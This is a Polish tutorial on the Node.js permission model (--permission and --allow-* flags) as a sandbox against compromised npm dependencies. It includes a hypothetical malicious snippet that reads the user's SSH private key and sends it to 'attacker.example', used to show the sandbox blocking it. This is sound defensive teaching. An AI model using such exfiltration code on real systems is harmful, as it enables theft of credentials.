Zabezpieczanie foldera node_modules za pomocą flag modelu uprawnień Node.js
Dowiedz się, w jaki sposób flaga --permission w Node.js domyślnie blokuje dostęp do systemu plików, sieci i procesów, jak precyzyjnie jej nadać uprawnienia oraz gdzie leżą jej ograniczenia.
Każde wywołanie npm install to akt zaufania. Projekt z dziesięcioma bezpośrednimi zależnościami zazwyczaj kończy się posiadaniem od 500 do 1 500 pakietów w katalogu node_modules, a prawie żaden z nich nie został przeczytany przez nikogo w twoim zespole. Model uprawnień Node.js umożliwia rozpoczęcie procesu w trybie domyślnego odrzucenia, dzięki czemu skompromitowany pakiet może uzyskać dostęp jedynie do plików, soketów i procesów, które wyraźnie zezwoliłeś. Ten przewodnik wyjaśnia, w jaki sposób działają te kontrole, jak je włączyć bez uszkodzenia aplikacji oraz jakie luki pozostają nawet przy prawidłowej konfiguracji.
Dlaczego zaufanie domyślne jest prawdziwym problemem
Domyślnie Node.js nie robi różnicy między kodem napisanym przez twoją zespół a kodem opublikowanym na rejestrze przez obcego użytkownika. Wszystko, co zostanie załadowane do procesu, odziedzicza pełne uprawnienia użytkownika systemu operacyjnego, który go uruchamia. W praktyce oznacza to, że każda zależność może:
- czytać wszystko to, co ten użytkownik może przeczytać, w tym pliki
.env, prywatne klucze SSH oraz dane do logowania w chmurze, takie jak~/.aws/credentials; - otwierać połączenia wyjściowe i wysyłać te dane gdzie indziej;
- uruchamiać procesy potomne i wykonywać polecenia w shellu;
- załadowywać natywne dodatki w formacie
.node, które są skompilowanym kodem maszynowym, którego nie mogą ograniczyć zasady na poziomie JavaScript.
Rzeczywiste incydenty wykorzystały dokładnie to. Zainfekowany pakiet event-stream zawierał kod szkodliwy skierowany przeciwko bibliotece do zarządzania portfelem Bitcoin, ua-parser-js został przejęty i ponownie opublikowany z malware, a kilka robaków kradnących tokeny rozprzestrzeniło się w npm. Żaden z nich nie wymagał sprytnego exploitu; wystarczyło, że działały w procesie, który w pełni im ufał. Wystarczy jeden skompromitowany konto administratora na trzech poziomach niżej w drzewie. Jeśli chcesz lepiej zrozumieć, jak przebiegają te ataki oraz jakie istnieją mechanizmy obronne po stronie rejestru, sprawdź jak działają ataki na łańcuch dostaw npm.
Model uprawnień adresuje drugą połowę problemu – fazę działania programu. Jest to opcjonalna, na poziomie procesu sandboxowa środowisko, które odwraca standardowe zasady: nic nie jest dozwolone, dopóki tego nie zezwolisz.
Czym jest model uprawnień i jaki jest jego status
To rozwiązanie ogranicza dostęp do określonych zasobów podczas wykonywania programu. Po włączeniu odpowiedniego flaga proces traci dostęp do systemu plików, sieci, procesów potomnych, wątków roboczych, dodatków natywnych, WASI i FFI, a każdą z tych możliwości może odzyskać tylko poprzez wyraźne włączenie odpowiedniego flaga. Oficjalna dokumentacja dotycząca uprawnień w Node.js stanowi źródło informacji o dokładnym zachowaniu w danej wersji.
Ta funkcja szybko się rozwinęła:
- Pierwotnie została wprowadzona jako funkcja eksperymentalna w Node.js v20.0.0 w kwietniu 2023 roku.
- Począwszy od wersji v23.5.0 i v22.13.0 ma status Stability 2 (stabilna), więc nie jest już eksperymentem, który trzeba ukrywać za opcją włączania/wyłączania.
--allow-env. Należy traktować te funkcje jako zależne od wersji i potwierdzać ich działanie na podstawie dokumentacji do konkretnej wersji, którą używasz.Praktycznym rezultatem jest to, że możesz teraz polegać na tym rozwiązaniu jako na rzeczywistej warstwie ochrony przed zagrożeniami w łańcuchu dostaw, a nie tylko jako na ciekawostce.
Model mentalny: firewall wokół własnego procesu
Firewall sieciowy decyduje, które pakety mogą przejść. Model uprawnień pełni tę samą funkcję w przypadku dostępu do zasobów wewnątrz jednego procesu. Bez niego funkcja fs.readFileSync() po prostu odczytuje plik. Z jego użyciem wywołanie najpierw przechodzi przez punkt kontrolny, który sprawdza, czy dany zasób znajduje się na liście dozwolonych. Jeśli tak, nic się nie zmienia. Jeśli nie, wywołanie zwraca błąd i plik nigdy nie zostaje otwarty.
Ważnym elementem jest to, gdzie znajduje się ten punkt kontrolny. Jest on realizowany wewnątrz środowiska wykonawczego, na warstwie powiązań C++, a nie w JavaScript. Złośliwy pakiet nie może go obejść, nadpisując funkcję fs.readFileSync lub otaczając moduł innymi elementami, ponieważ decyzja jest podejmowana na poziomie poniżej tego, do którego może dotrzeć zwykły JavaScript.
Śledzenie odrzuconego wywołania w środowisku wykonawczym
Aby to uczynić mniej abstrakcyjnym, prześledźmy, co dzieje się, gdy jakiś kod w procesie próbuje odczytać plik /etc/passwd:
- Twój kod lub jakikolwiek moduł załadowany do tego samego procesu wywołuje
fs.readFileSync('/etc/passwd'). - To wywołanie trafia do wewnętrznego bindingu
fsw Node, warstwy, która faktycznie komunikuje się z systemem operacyjnym. - Zanim nastąpi jakakolwiek operacja wejścia/wyjścia, binding pyta model uprawnień, czy proces posiada uprawnienie
fs.readdo tego konkretnego ścieżki. To jest to samo pytanie, które możesz zadać sobie za pomocąprocess.permission.has('fs.read', path). - Gdy ścieżka jest dozwolona, odczyt przebiega tak jak zawsze. Kod dobrze napisany nie widzi żadnej różnicy w zachowaniu.
- Gdy ścieżka nie jest dozwolona, Node rzuca błąd o spójnej strukturze, który łatwo jest przeanalizować.
Rzucony błąd zawiera code, nazwę brakującego uprawnienia oraz zasób, o który zostało poproszono:
Error: Access to this API has been restricted
at node:internal/main/run_main_module:23:47 {
code: 'ERR_ACCESS_DENIED',
permission: 'FileSystemRead',
resource: '/etc/passwd'
}
Ponieważ ERR_ACCESS_DENIED to stały kod błędu, można go przechwycić i odpowiednio zareagować, a biblioteki świadome uprawnień mogą robić to samo zamiast powodować awarię całego aplikacji.
Włączanie sandboxu po raz pierwszy
Aby włączyć ten mechanizm, wystarczy dodać jedną flagę przed plikiem wejściowym:
node --permission index.js
Oczekuj, że to od razu się nie uda, nawet przy pustym skrypcie:
$ node --permission index.js
Error: Access to this API has been restricted
at node:internal/main/run_main_module:23:47 {
code: 'ERR_ACCESS_DENIED',
permission: 'FileSystemRead',
resource: '/home/user/index.js'
}
To zaskakuje wielu osób, ale jest spójne: ładowanie index.js to również operacja odczytu z systemu plików, a odczyty są odrzucane tak jak wszystko inne. Nie istnieje wbudowana wyjątek specjalny dla własnego kodu źródłowego, co stanowi przydatną pierwszą lekcję na temat tego, jak surowe są zasady tego mechanizmu.
Rozwiązaniem jest umożliwienie odczytów z katalogu projektu:
node --permission --allow-fs-read=. index.js
Plik wejściowy teraz się ładuje, ale pierwszy wywołanie require() w pakiecie zawiedzie, ponieważ rozwiązywanie i ładowanie modułów również odbywa się z dysku. Zwykłym następnym krokiem jest wyraźne zezwolenie na dostęp do node_modules:
node --permission --allow-fs-read=. --allow-fs-read=./node_modules index.js
Ściśle mówiąc, ./node_modules znajduje się już pod ., więc druga flaga jest zbędna w prostym układzie. Jej osobne wymienienie staje się sensowne, gdy później ograniczysz pierwszą flagę do czegoś w rodzaju ./src, lub gdy twoje zależności są przenoszone do innego katalogu w monorepo.
Póki jeszcze uczysz się, jakie ścieżki używa twoje aplikacja, możesz zezwolić na każde odczytywanie i pozostawić wszystkie inne funkcje wyłączone:
node --permission --allow-fs-read=* index.js
Traktuj znak zastępczy * jak koła treningowe. Jest do przyjęcia podczas rozwoju lub w usługach, gdzie odczyt plików nie stanowi krytycznego elementu, ale umożliwia dowolnej zależności odczyt tajemnic, więc zaostrz regulacje przed wypuszczeniem czegokolwiek, co obsługuje dane uwierzytelniające.
Każda zdolność chroniona i flaga, która ją aktywuje
Odczyt z systemu plików to tylko jedna z takich barier. Każda klasa zasobu odpowiada swojej własnej flagi:
- Odczyt z systemu plików:
--allow-fs-read=<path>. - Zapis do systemu plików:
--allow-fs-write=<path>. - Dostęp do sieci:
--allow-net. - Procesy potomne:
--allow-child-process. - Nici robocze:
--allow-worker. - Dodatki natywne:
--allow-addons. - Interfejs systemu WebAssembly:
--allow-wasi.
--allow-ffi.Niektóre z nich zachowują się w sposób, który warto zrozumieć przed ich użyciem:
- Dwa flagi systemu plików przyjmują ścieżkę i mogą być powtarzane, na przykład
--allow-fs-read=./data --allow-fs-read=./config. --allow-netnie przyjmuje żadnych argumentów. Jest to pojedynczy przełącznik obejmujący komunikację sieciową w obu kierunkach, w tym surowe gniazda,http,https,fetchoraz gniazda domeny Unix.--allow-child-processwpływa również na sposób przenoszenia ograniczeń do procesów potomnych. Proces utworzony za pomocąchild_process.fork()otrzymuje automatycznie Twoje flagi uprawnień, natomiastchild_process.spawn()przekazuje je za pośrednictwem zmiennej środowiskowejNODE_OPTIONS. W obu przypadkach proces potomny pozostaje wewnątrz sandboxu, zamiast go opuszczać.--allow-addonswymaga największej ostrożności. Natywne dodatki to skompilowane biblioteki w języku C lub C++, ładowane za pomocądlopen, które po załadowaniu działają poza silnikiem JavaScript bez dalszych sprawdzeń uprawnień. Nadanie tej flagi kodowi, któremu w pełni nie ufasz, daje temu kodowi mniej więcej takie same uprawnienia, jakie miałby bez żadnego sandboxu.
Przykład w praktyce: przesyłacz plików CSV i zatruta zależność
Rozważmy mały, ale realistyczny skrypt. Czyta on plik CSV z dysku, parsuje go za pomocą pakietu csv-parse od firmy trzeciej oraz wysyła dane do API za pomocą axios, kolejnego pakietu od firmy trzeciej:
// process-csv.js
const fs = require('fs');
const { parse } = require('csv-parse/sync'); // third-party dependency
const axios = require('axios'); // third-party dependency
const raw = fs.readFileSync('./data/input.csv', 'utf-8');
const records = parse(raw, { columns: true });
axios
.post('https://api.example.com/ingest', records)
.then(() => console.log('Uploaded', records.length, 'records'));
Uruchomienie skryptu prostym poleceniem node process-csv.js działa poprawnie. Podobnie mogłoby się stać, gdyby do małej wersji csv-parse lub jednej z jego zależności został włączony ukryty payload. Poniższy fragment symuluje, jak mogłby wyglądać taki payload: czyta prywatny klucz SSH użytkownika i wysyła go na host kontrolowany przez atakującego.
// hypothetical malicious code inside a compromised transitive dependency
const fs = require('fs');
const os = require('os');
const https = require('https');
const secret = fs.readFileSync(os.homedir() + '/.ssh/id_rsa', 'utf-8');
https.request('https://attacker.example/collect', { method: 'POST' })
.end(secret);
Bez środowiska sandbox takie działanie przebiega bez żadnych objawów, a klucz znika, zanim ktokolwiek to zauważy. Teraz uruchommy ten sam skrypt, przyznając mu tylko te uprawnienia, które faktycznie są potrzebne, mianowicie możliwość odczytu z projektu i jego zależności oraz dostęp do sieci:
node --permission \
--allow-fs-read=. \
--allow-fs-read=./node_modules \
--allow-net \
process-csv.js
Prawdziwa operacja nadal się udaje: skrypt odczytuje plik ./data/input.csv, ładuje jego moduły i dostępuje do API. Jednak przesyłana treść zawodzi już w momencie dotarcia do klucza:
Error: Access to this API has been restricted
at ReadFileHandle.rethrow (node:internal/fs/read/context:53:9) {
code: 'ERR_ACCESS_DENIED',
permission: 'FileSystemRead',
resource: '/home/user/.ssh/id_rsa'
}
os.homedir() wskazuje na miejsce poza obszarem . oraz ./node_modules, więc ta ścieżka nie znajduje się na liście dozwolonych, w związku z czym próba wydostania danych nigdy nie dochodzi do utworzenia połączenia.
Zwróć uwagę na to, co tutaj nie pomogło. Ponieważ prawidłowy skrypt wymaga parametru --allow-net, payload mógł nadal wysyłać żądania sieciowe. Kluczem do ochrony był wąski zakres dostępu do odczytu. Ta sama logika ostrzega przed powszechnym błędem: jeśli przechowujesz plik .env w korzeniu projektu i zezwalasz na odczyt z ., każda zależność również będzie mogła przeczytać ten plik. Trzymaj tajne dane poza ścieżkami dostępnymi do odczytu lub wprowadzaj je za pomocą mechanizmu, który nie wymaga dostępu do systemu plików przez proces.
Zatrzymanie tworzenia procesów
Wiele rzeczywistych payloadów w ogóle pomija odczyt plików i po prostu uruchamia shell w celu pobrania oraz wykonywania drugiego etapu. Gdy parametr --permission jest aktywny, a --allow-child-process nie istnieje, próba kończy się niepowodzeniem jeszcze przed uruchomieniem jakiegokolwiek procesu:
node:internal/child_process:388
const err = this._handle.spawn(options);
^
Error: Access to this API has been restricted
at ChildProcess.spawn (node:internal/child_process:388:28)
at node:internal/main/run_main_module:17:47 {
code: 'ERR_ACCESS_DENIED',
permission: 'ChildProcess'
}
Większość kodu aplikacji, takiego jak transformacja danych, wywołania do usług wewnętrznych czy renderowanie szablonów, nie ma powodu do tworzenia procesów. Jeśli nic w drzewie zależności nie wymaga rzeczywiście użycia child_process, wyłączenie tej flagi eliminuje całą klasę ataków bez żadnych kosztów.
Prośba o pozwolenie wewnątrz kodu
Gdy model jest aktywny, Node udostępnia process.permission, co pozwala kodowi sprawdzić dostępne możliwości przed ich użyciem, zamiast polegać na rzucanej wyjątku. Można sprawdzić możliwości ogólnie lub ograniczyć to do konkretnego ścieżki:
if (process.permission) {
console.log(process.permission.has('fs.write')); // true / false
console.log(process.permission.has('fs.write', '/app/uploads')); // scoped check
console.log(process.permission.has('fs.read')); // true / false
console.log(process.permission.has('net')); // true / false
}
Zaawansowanie if (process.permission) jest istotne, ponieważ obiekt ten istnieje tylko wtedy, gdy proces został uruchomiony z flagą --permission. Dla autorów bibliotek ta API jest szczególnie cenna: pakiet z opcjonalną telemetrią może sprawdzić process.permission.has('net') i cicho wyłączyć tę funkcjonalność w procesie w sandboxzie, zamiast powodować awarię aplikacji głównej.
Zintegrowanie sandboxu z działaniem projektu
Ręczne wpisywanie długiej listy flag jest podatne na błędy, a sandbox, którego ktoś zapomniał włączyć, nie zapewnia żadnej ochrony. Najprostszym rozwiązaniem jest umieszczenie tych flag w skrypcie start znajdującym się w pliku package.json:
{
"scripts": {
"start": "node --permission --allow-fs-read=. --allow-fs-read=./node_modules --allow-net dist/server.js"
}
}
Aby zastosować tę samą politykę do wszystkich skryptów npm, włączając narzędzia uruchamiane za pomocą npx, można raz ustawić odpowiednie flagi poprzez NODE_OPTIONS. Należy pamiętać, że sam npm jest programem Node.js, więc również podlega tym ograniczeniom; to jeden z powodów, dla których w tym przykładzie użyto szerokiego flagi --allow-fs-read=*.
export NODE_OPTIONS="--permission --allow-fs-read=* --allow-net"
npm start
W przypadku pojedynczego wywołania npx należy przekazać opcje bezpośrednio:
# enabling it for a one-off npx execution
npx --node-options="--permission --allow-fs-read=$(npm prefix -g)" some-cli-tool
Ten ostatni przykład ponownie pokazuje, że nic nie jest traktowane jako wiarygodne bez dodatkowej weryfikacji. Aby znaleźć i uruchomić narzędzie, Node potrzebuje uprawnień do odczytu w miejscu, gdzie faktycznie znajduje się pakiet – czy to w globalnej katalogu node_modules określonym przez npm prefix -g, czy w cache’u npx. Nawet komenda, o której celowo poprosiłeś o uruchomienie, wymaga przyznania odpowiednich uprawnień.
Ograniczenia, które należy znać przed poleganiem na tym rozwiązaniu
Model uprawnień stanowi solidną warstwę ochrony, ale traktowanie go jako kompletnego rozwiązania jest ryzykowne.
Uprawnienia dotyczą całego procesu, a nie poszczególnych pakietów
To najważniejsza uwaga dla wszystkich, którzy chcą ograniczyć dostęp do konkretnych zależności. Sandbox wyznacza granicę pomiędzy procesem Node.js a systemem operacyjnym. Nie może realizować reguł takich jak „left-pad nie ma dostępu do sieci, natomiast axios ma”. Wszystkie moduły w procesie dzielą się tym samym zestawem uprawnień, więc przyznanie flagi --allow-net dla klienta HTTP oznacza, że zostanie ona przyznana również wszystkim pozostałym pakietom. Model podnosi standard dla całego procesu; nie izoluje pakietów od siebie. Jeśli naprawdę potrzebujesz izolacji na poziomie poszczególnych komponentów, musisz podzielić pracę na oddzielne procesy z różnymi flagami.
Dodatki natywne omijają wszystko po załadowaniu
Gdy zostanie przyznane uprawnienie --allow-addons i załadowany moduł natywny, jego skompilowany kod jest wykonywany bez dalszych ograniczeń. Sandbox nie ma dostępu do kodu maszynowego.
Kod służący do egzekwowania zasad może mieć własne błędy
Kontrole to zwykły kod uruchamiany w czasie rzeczywistym i mogą być błędne. Słabość zgłoszona w 2026 roku, oznaczona jako CVE-2026-58043, dotyczyła logiki dopasowywania ścieżek: listy dozwolonych plików w systemie plików są przechowywane w drzewie radiksowym, a ścieżki, które miały tylko wspólny prefiks znakowy z dozwoloną ścieżką, mogły zostać niewłaściwie uprawnione do dostępu. To umożliwiało odczyt lub zapis poza zamierzonym zakresem. Zgłoszone wersje z poprawkami to 26.5.1, 24.18.1 i 22.23.2 dla odpowiednich linii wersji; sprawdź oficjalną listę w publikacjach dotyczących bezpieczeństwa Node.js. Wniosek jest taki, że nie należy unikać tej funkcjonalności, lecz utrzymywać aktualne poprawki w systemie uruchamiania, ponieważ nawet prawidłowe flagi w wersji podatnej na ataki nadal pozostawiają luki.
Ogranicza szkody; nie zapobiega instalacji
Pasmo bezpieczeństwa ogranicza zasięg skutków działania kodu szkodliwego podczas jego uruchamiania. Nie zapobiega ono jednak instalacji takiego kodu. Kontynuuj używanie npm audit, instaluj pakety za pomocą npm ci na podstawie zapisanego pliku lockfile zamiast ogólnych zakresów wersji, sprawdzaj nowe zależności transitywne przed aktualizacją oraz rozważ użycie usług do skanowania zależności, takich jak Socket lub Snyk, oprócz standardowych mechanizmów kontroli w czasie uruchamiania.
Lista kontrolna przy wdrażaniu
- Podczas rozwoju zacznij od użycia parametru
--permission --allow-fs-read=*, aby móc zobaczyć, jakie inne uprawnienia potrzebuje twoja aplikacja, bez konieczności kłótni o dokładne ścieżki. - Przed publikacją zawęż parametry
--allow-fs-readi--allow-fs-writedo katalogów faktycznie używanych przez aplikację, takich jak foldery z danymi, pliki konfiguracyjne oraznode_modules. Nigdy nie zezwalaj na dostęp do katalogu domowego ani do ścieżki/.
--allow-addons jako sygnał ostrzegawczy i przeanalizuj zależność, która ją wymaga.NODE_OPTIONS, aby nikt nie mógł o nich zapomnieć.Główne wnioski
Ataki na łańcuch dostaw działają, ponieważ Node.js ufa każdemu pakietowi w drzewie w takim samym stopniu, jak ufa własnemu kodowi. Model uprawnień nie usuwa tego zaufania, ponieważ kod nadal jest wykonywany w twoim procesie, ale zamienia nieograniczony zasięg ataku na ograniczony, określony przez wybrane flagi. Jego skuteczność zależy od tego, jak wąskie są te flagi: ścisłe zakresy plików systemowych oraz brak odpowiednich flag umożliwości powstrzymuje większość złośliwego oprogramowania, natomiast szerokie wildkarty oraz --allow-addons po cichu eliminują tę ochronę. W połączeniu z naprawionym środowiskiem wykonawczym oraz odpowiednią higieną zależności, jest to jeden z najtańszych środków bezpieczeństwa, jakie może przyjąć usługa oparta na Node.js.
Literatura pokrewna
- Ataki na łańcuch dostaw npm: jak działają i jak chronić Node.js — Wyjaśnia, w jaki sposób ataki na łańcuch dostaw npm, takie jak przejęcie kont, typosquatting i zamieszanie w zależnościach, funkcjonują, a także przedstawia konkretne kroki do wzmocnienia instalacji Node.js.
- Dzielenie się pamięcią między wątkami roboczymi Node.js za pomocą SharedArrayBuffer i Atomics — Dlaczego funkcja postMessage dostarcza każdemu wątkowi robociemu Node.js prywatną kopię, kiedy warto użyć SharedArrayBuffer oraz jak Atomics zapobiega utracie aktualizacji i umożliwia czekanie między wątkami.